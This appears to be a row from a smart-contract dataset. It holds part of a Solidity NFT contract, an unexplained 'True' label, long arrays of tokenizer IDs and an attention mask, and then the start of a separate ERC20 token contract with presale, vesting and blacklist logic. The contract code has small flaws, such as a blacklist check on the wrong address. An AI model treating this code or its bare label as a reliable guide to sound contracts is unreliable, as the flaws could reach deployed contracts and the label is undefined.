@param to Target address
@param tokenId ID of the token type.
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId, uint256 fee) internal virtual {
_safeMint(to, tokenId, fee, "");
}
function _safeMint(address to, uint256 tokenId, uint256 fee, bytes memory _data) internal virtual {
_mint(to, tokenId, fee);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId, uint256 fee) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
_creator[tokenId] = msg.sender;
_royaltyFee[tokenId] = fee;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* required msg.sender must be owner of the token.
* @param tokenId uint256 Token being burned
*/
function _burn(uint256 tokenId) internal virtual {
require(msg.sender == ownerOf(tokenId),"caller not owner");
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param _tokenURI string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
emit URI(_tokenURI, tokenId);
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract Oshen is ERC721 {
event minterAdded(address minter);
event minterRemoved(address minter);
uint256 public tokenCounter;
address public owner;
uint256 public mintersCount;
mapping(address => bool) private minters;
address[] private _minters;
constructor (string memory name, string memory symbol, string memory tokenURIPrefix) ERC721 (name, symbol){
tokenCounter = 1;
mintersCount = 1;
owner = msg.sender;
minters[msg.sender] = true;
_minters.push(msg.sender);
_setBaseURI(tokenURIPrefix);
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function ownerTransfership(address newOwner) public onlyOwner returns(bool) {
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
return true;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
_setBaseURI(_baseURI);
}
function addMinter(address _minter) public onlyOwner {
require(_minter != address(0),"Minter: minter is the zero address");
require(!(minters[_minter]),"Minter: minter already exists");
_minters.push(_minter);
mintersCount += 1;
minters[_minter] = true;
emit minterAdded(_minter);
}
function removeMinter(address _minter) public onlyOwner {
require(_minter != address(0),"Minter: minter is the zero address");
require(minters[_minter],"Minter: minter not exists");
minters[_minter] = false;
mintersCount -= 1;
emit minterRemoved(_minter);
}
function getMinters() public view returns(address[] memory) {
address[] memory listOfMinters = new address[] (mintersCount);
for(uint256 i = 0; i < _minters.length ; i++) {
if(minters[_minters[i]]) {
listOfMinters[i] = _minters[i];
}
}
return ( listOfMinters);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param tokenURI string memory URI of the token to be minted.
* @param fee uint256 royalty of the token to be minted.
*/
function createCollectible(string memory tokenURI, uint256 fee) public returns (uint256) {
require(minters[msg.sender],"ERC721: caller is not minter");
uint256 newItemId = tokenCounter;
_safeMint(msg.sender, newItemId, fee);
_setTokenURI(newItemId, tokenURI);
tokenCounter = tokenCounter + 1;
return newItemId;
}
function burn(uint256 tokenId) public {
require(_exists(tokenId), "ERC721: nonexistent token");
_burn(tokenId);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
2260,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
3075,
7817,
1063,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
16648,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
16648,
1009,
1009,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
16648,
1007,
1025,
21318,
3372,
17788,
2575,
5950,
1027,
16648,
1011,
1015,
1025,
8915,
8737,
1027,
3643,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
17698,
1031,
5950,
1011,
1011,
1033,
1027,
27507,
2487,
1006,
21318,
3372,
2620,
1006,
4466,
1009,
8915,
8737,
1003,
2184,
1007,
1007,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
1065,
3075,
4372,
17897,
16670,
2863,
2361,
1063,
2358,
6820,
6593,
4949,
4765,
2854,
1063,
27507,
16703,
1035,
3145,
1025,
27507,
16703,
1035,
3643,
1025,
1065,
2358,
6820,
6593,
4949,
1063,
4949,
4765,
2854,
1031,
1033,
1035,
10445,
1025,
12375,
1006,
27507,
16703,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1035,
5950,
2229,
1025,
1065,
3853,
1035,
2275,
1006,
4949,
5527,
4949,
1010,
27507,
16703,
3145,
1010,
27507,
16703,
3643,
1007,
2797,
5651,
1006,
22017,
2140,
1007,
1063,
21318,
3372,
17788,
2575,
3145,
22254,
10288,
1027,
4949,
1012,
1035,
5950,
2229,
1031,
3145,
1033,
1025,
2065,
1006,
3145,
22254,
10288,
1027,
1027,
1014,
1007,
1063,
1013,
1013,
5662,
2000,
999,
3397,
1006,
4949,
1010,
3145,
1007,
4949,
1012,
1035,
10445,
1012,
5245,
1006,
4949,
4765,
2854,
1006,
1063,
1035,
3145,
1024,
3145,
1010,
1035,
3643,
1024,
3643,
1065,
1007,
1007,
1025,
4949,
1012,
1035,
5950,
2229,
1031,
3145,
1033,
1027,
4949,
1012,
1035,
10445,
1012,
3091,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
4949,
1012,
1035,
10445,
1031,
3145,
22254,
10288,
1011,
1015,
1033,
1012,
1035,
3643,
1027,
3643,
1025,
2709,
6270,
1025,
1065,
1065,
3853,
1035,
6366,
1006,
4949,
5527,
4949,
1010,
27507,
16703,
3145,
1007,
2797,
5651,
1006,
22017,
2140,
1007,
1063,
21318,
3372,
17788,
2575,
3145,
22254,
10288,
1027,
4949,
1012,
1035,
5950,
2229,
1031,
3145,
1033,
1025,
2065,
1006,
3145,
22254,
10288,
999,
1027,
1014,
1007,
1063,
1013,
1013,
5662,
2000,
3397,
1006,
4949,
1010,
3145,
1007,
21318,
3372,
17788,
2575,
28681,
12260,
9589,
3207,
2595,
1027,
3145,
22254,
10288,
1011,
1015,
1025,
21318,
3372,
17788,
2575,
2197,
22254,
10288,
1027,
4949,
1012,
1035,
10445,
1012,
3091,
1011,
1015,
1025,
4949,
4765,
2854,
5527,
2197,
4765,
2854,
1027,
4949,
1012,
1035,
10445,
1031,
2197,
22254,
10288,
1033,
1025,
4949,
1012,
1035,
10445,
1031,
28681,
12260,
9589,
3207,
2595,
1033,
1027,
2197,
4765,
2854,
1025,
4949,
1012,
1035,
5950,
2229,
1031,
2197,
4765,
2854,
1012,
1035,
3145,
1033,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
// File: node_modules\openzeppelin-solidity\contracts\utils\Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity\contracts\access\Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 internal _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Funganomics is ERC20("Funganomics", "FUNG", 18), Ownable {
/*
*------------------------------------------------------------
* Initializing the unlocked wallets.
* _____________________________________________________________
*/
/*
* Creating the Structure for UnlockedType.
*------------------------------------------------------------
*/
struct UnlockedType {
address address_unlocked;
uint8 percent_unlocked;
}
/*
* Assigning the values for public sale.
*------------------------------------------------------------
*/
UnlockedType public public_sale = UnlockedType(
0xB0af73e9dc7c90D6CBb4E33595Afb38ae3ec9244, // Address for minting the public sale fund.
40 // percent of the total supply will mint to the public sale fund address.
);
/*
* Assigning the values for Liquidity & Exchanges.
*------------------------------------------------------------
*/
UnlockedType public liquidity_and_exchanges = UnlockedType(
0x8c9DEDE329297D15cc54D1e6d4124b627cFC1322, // Address for minting the liquidity and exchanges fund.
5 // percent of the total supply will mint to the liquidity and exchange fund address.
);
/*
* Creating the Structure for presale.
*------------------------------------------------------------
*/
struct PresaleUnlockedType {
address presale_wallet;
address funding_address;
uint8 percent_unlocked;
uint8 percent_on_purchase;
uint256 token_rate;
uint256 max_buy_limit;
uint256 token_sold;
bool is_started;
}
mapping(address => uint256) public presale_purchased_per_user; // It have the amount data for each user purchased in presale.
mapping(address => uint256) public presale_received_per_user; // It have the amount data for each user recieved the tokens.
mapping(address => uint256) public amount_spend_per_user; // It have the amount of data for each user have spend in wei in presale.
/*
* Assigning values to the presale.
*------------------------------------------------------------
*/
PresaleUnlockedType public presale = PresaleUnlockedType(
0xC31e40De61108Fc2950034Af0aAC6681C7b88D18, // Presale wallet where the Token will mint.
0x84eFb54fDccf3d53a6B79B28AA0C5A58E2CE08B4, // Presale wallet where the fund will go on each buy.
20, // percent of total supply of the token goes for the presale. Unlocked.
25, // percent of amount the buy will get on the purchase instantly.
76923076923076920000000, // number of tokens with decimals offer in 1 ETH.
2250000000000000000, // maximum amount in wei per user can spend in the presale.
0, // Amount of token sold initialize to zero.
false
);
/*
*------------------------------------------------------------
* Initializing the unlocked wallets.
* _____________________________________________________________
*/
uint256 private month = 2628000;
/*
* Creating the Structure for locked type.
*------------------------------------------------------------
*/
struct LockedType {
address[] address_locked;
uint8 percent_locked;
uint256 locked_timestamp;
}
/*
* Assigning values to the Team.
*------------------------------------------------------------
*/
LockedType public team_locked = LockedType(
new address[](4), // The length should be change according to the number of team member.
9, // percent of total supply will mint to the team locked address.
block.timestamp + (24*month) // timestamp of the team locked
);
/*
* Assigning values to the marketing and partnership.
*------------------------------------------------------------
*/
LockedType public makt_and_pship_locked = LockedType(
new address[](4), // The length should be change according to the number of marketing and partnership.
11, // percent of total supply will mint to the marketing and partnership locked address.
block.timestamp + (12*month) // timestamp of the marketing and partnership locked
);
/*
* Assigning values to the company reserve locked.
*------------------------------------------------------------
*/
LockedType public company_reserve_locked = LockedType(
new address[](4), // The length should be change according to the number of company_reserve.
5, // percent of total supply will mint to the company reserve locked address.
block.timestamp + (12*month) // timestamp of the company reserve locked
);
/*
* Assigning values to the staking locked.
*------------------------------------------------------------
*/
LockedType public staking_locked = LockedType(
new address[](4), // The length should be change according to the number of staking member.
10, // percent of total supply will mint to the staking locked address.
block.timestamp + (6*month) // timestamp of the staking locked
);
address[] private blacklist;
constructor(){
/*
* Assigning addresses to the locked wallets.
*------------------------------------------------------------
*/
team_locked.address_locked = [
0x0A7A94833CA1f32Ec707F97c1be193410471b59E,
0x0A7A94833CA1f32Ec707F97c1be193410471b59E,
0x526aE735a19008910Dade55E3A587BC5E78b4368,
0x73BA7073388D98609F17eFd087DcD707eD7E6fE8
];
makt_and_pship_locked.address_locked = [
0xDEBa010B3C73C8ADf8d2F2a10FC4Ae7eCB006D48,
0x39712e58faadb17E1b2f51C02a334D46191D6265,
0x06cD22D223F6683caa02711a85Dbe5F7499BBB52,
0xddA3D202033d50025Dda495155696eA1F3066EFD
];
company_reserve_locked.address_locked = [
0x0026aAb86819037a62E29CC33a0d3Bf12b2E3F6b,
0xCB949451804cEaAf26d0845903024F41222C4E98,
0x7973F5e40A783dA46A41d1dc3a6803DeBF1068cA,
0x051Bf1962810AbAd76c5cA87C6678BB144fC73b0
];
staking_locked.address_locked = [
0x75ff174d2929c69C5993F9FB5939f11F3c646Aa3,
0x570160e09A5E54B4B014a1eEa5Fa99F72f17551b,
0x0eE21b5F738A51e40dd9E0747Bd13716F66a49bd,
0x6F657b9f0f77977F159E4F9fBEBb2aA4F6052bB2
];
uint256 supply = 1000000000*(10**_decimals);
/*
* minting fund to unlocked addresses.
*------------------------------------------------------------
*/
_mint(presale.presale_wallet, (presale.percent_unlocked*supply)/100);
_mint(public_sale.address_unlocked, (public_sale.percent_unlocked*supply)/100);
_mint(liquidity_and_exchanges.address_unlocked, (liquidity_and_exchanges.percent_unlocked*supply)/100);
/*
* minting fund to locked addresses.
*------------------------------------------------------------
*/
// Minting to the locked wallets.
for(uint i=0; i < team_locked.address_locked.length; i++){
_mint(team_locked.address_locked[i], (team_locked.percent_locked*supply)/(100*team_locked.address_locked.length));
}
for(uint i=0; i < makt_and_pship_locked.address_locked.length; i++){
_mint(makt_and_pship_locked.address_locked[i], (makt_and_pship_locked.percent_locked*supply)/(100*makt_and_pship_locked.address_locked.length));
}
for(uint i=0; i < company_reserve_locked.address_locked.length; i++){
_mint(company_reserve_locked.address_locked[i], (company_reserve_locked.percent_locked*supply)/(100*company_reserve_locked.address_locked.length));
}
for(uint i=0; i < staking_locked.address_locked.length; i++){
_mint(staking_locked.address_locked[i], (staking_locked.percent_locked*supply)/(100*staking_locked.address_locked.length));
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(filter_blacklist(msg.sender)==false, "Transfer: Address Blacklisted.");
/*
* validating the locked addresses.
*------------------------------------------------------------
*/
for(uint i=0; i < team_locked.address_locked.length; i++){
if(sender == team_locked.address_locked[i]){
require(team_locked.locked_timestamp < block.timestamp, "Time Remaining for the locked address");
}
}
for(uint i=0; i < makt_and_pship_locked.address_locked.length; i++){
if(sender == makt_and_pship_locked.address_locked[i]){
require(makt_and_pship_locked.locked_timestamp < block.timestamp, "Time Remaining for the locked address");
}
}
for(uint i=0; i < company_reserve_locked.address_locked.length; i++){
if(sender == company_reserve_locked.address_locked[i]){
require(company_reserve_locked.locked_timestamp < block.timestamp, "Time Remaining for the locked address");
}
}
for(uint i=0; i < staking_locked.address_locked.length; i++){
if(sender == staking_locked.address_locked[i]){
require(staking_locked.locked_timestamp < block.timestamp, "Time Remaining for the locked address");
}
}
